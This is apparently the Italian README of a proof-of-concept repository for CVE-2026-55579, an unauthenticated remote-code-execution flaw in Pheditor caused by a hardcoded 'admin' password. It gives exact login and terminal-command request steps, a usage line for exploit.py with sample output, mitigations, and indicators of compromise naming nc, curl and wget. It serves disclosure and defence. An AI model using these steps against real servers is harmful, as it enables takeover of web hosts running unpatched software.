
CVE-2026-55579 – RCE non autenticata in Pheditor tramite password predefinita hardcoded "admin". Exploit Python completo con upload di file ed esecuzione nel terminale. Nessuna dipendenza.
TL;DR: Pheditor (tutte le versioni) include una password predefinita hardcoded (
admin) incorporata nel codice sorgente. Non viene forzato alcun cambio password al primo login, solo un avviso visivo. Qualsiasi attaccante non autenticato può accedere come admin e abusare del pannello terminale integrato (action=terminal) per eseguire comandi OS arbitrari con i privilegi del server web. Combinato con le capacità di caricamento file, ciò produce Esecuzione Remota di Codice (RCE) non autenticata.
La vulnerabilità deriva da un hash SHA‑512 hardcoded della password admin all'interno di pheditor.php (riga 11):
define('PASSWORD', 'c7ad44cbad762a5da0a452f9e854fdc1e0e7a52a38015f23f3eab1d80b931dd472634dfac71cd34ebc35d16ab7fb8a90c81f975113d6c7538dc69dd8de9077ec');
Questo hash corrisponde a:
echo -n 'admin' | sha512sum
Perché questo è un game over:
pheditor.php).admin/admin, un attaccante può accedere e ottenere pieno accesso a:
action=terminal)action=upload)action=open/action=save)Non c'è limitazione di velocità, blocco, né alcun fattore di autenticazione aggiuntivo.
L'attacco è estremamente semplice e non richiede alcuna ipotesi:
POST a pheditor.php con pheditor_password=admin. Il server imposta un cookie di sessione.token.POST con:
action=terminaltoken=<estratto>command=<comando OS>dir= (opzionale)<pre> e può essere analizzato pulitamente.In alternativa, l'attaccante può caricare una web shell o sovrascrivere file dell'applicazione.
Clona il repository ufficiale e avvia un server locale:
git clone https://github.com/pheditor/pheditor.git /tmp/pheditor
cd /tmp/pheditor
php -S localhost:8080 pheditor.php &
L'exploit Python fornito si basa solo sulla libreria standard di Python (nessuna dipendenza esterna). Include CLI basata su argparse, gestione avanzata degli errori, modalità verbose e controllo del timeout.
python3 exploit.py http://localhost:8080/pheditor.php "id; hostname; whoami"
[*] Logging in with password: admin
[+] Login successful
[*] Extracting CSRF token...
[+] Token: a1b2c3d4e5f6...
[*] Executing: id; hostname; whoami
==================================================
Command Output:
==================================================
uid=33(www-data) gid=33(www-data) groups=33(www-data)
ubuntu
www-data
==================================================
Uno sfruttamento riuscito concede all'attaccante:
root), l'attaccante ottiene il controllo completo dell'host.Considerando che Pheditor è spesso utilizzato in ambienti di sviluppo o come file manager leggero, gli attaccanti possono facilmente trovarlo e sfruttarlo per ottenere punti di appoggio iniziali.
pheditor_password=admin).Monitora il tuo ambiente per indicatori di compromissione:
pheditor.php con pheditor_password=admin o action=terminal.sh, bash, nc, curl o wget.Per un approfondimento sulla catena di sfruttamento e payload aggiuntivi, consulta ANALYSIS.md.
Disclaimer: Questo repository contiene un Proof of Concept (PoC) destinato strettamente a scopi difensivi, educativi e di test di sicurezza autorizzati. Non utilizzare questo codice contro sistemi di cui non sei proprietario o per i quali non hai esplicita autorizzazione scritta. Gli autori non si assumono alcuna responsabilità per un uso improprio.
| Attributo | Dettagli |
|---|
| Identificatore CVE | CVE-2026-55579 |
| Software Affetto | Pheditor (tutte le versioni fino all'HEAD corrente) |
| Versione Corretta | Ancora nessuna (patch del fornitore non rilasciata; necessario workaround) |
| Classe di Vulnerabilità | CWE-798: Uso di Credenziali Hardcoded |
| Punteggio CVSS v3.1 | 9.8 (Critico) CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Autenticazione | Nessuna – le credenziali predefinite sono pubblicamente note |
| Verifica | Confermata su un'installazione fresca di Pheditor |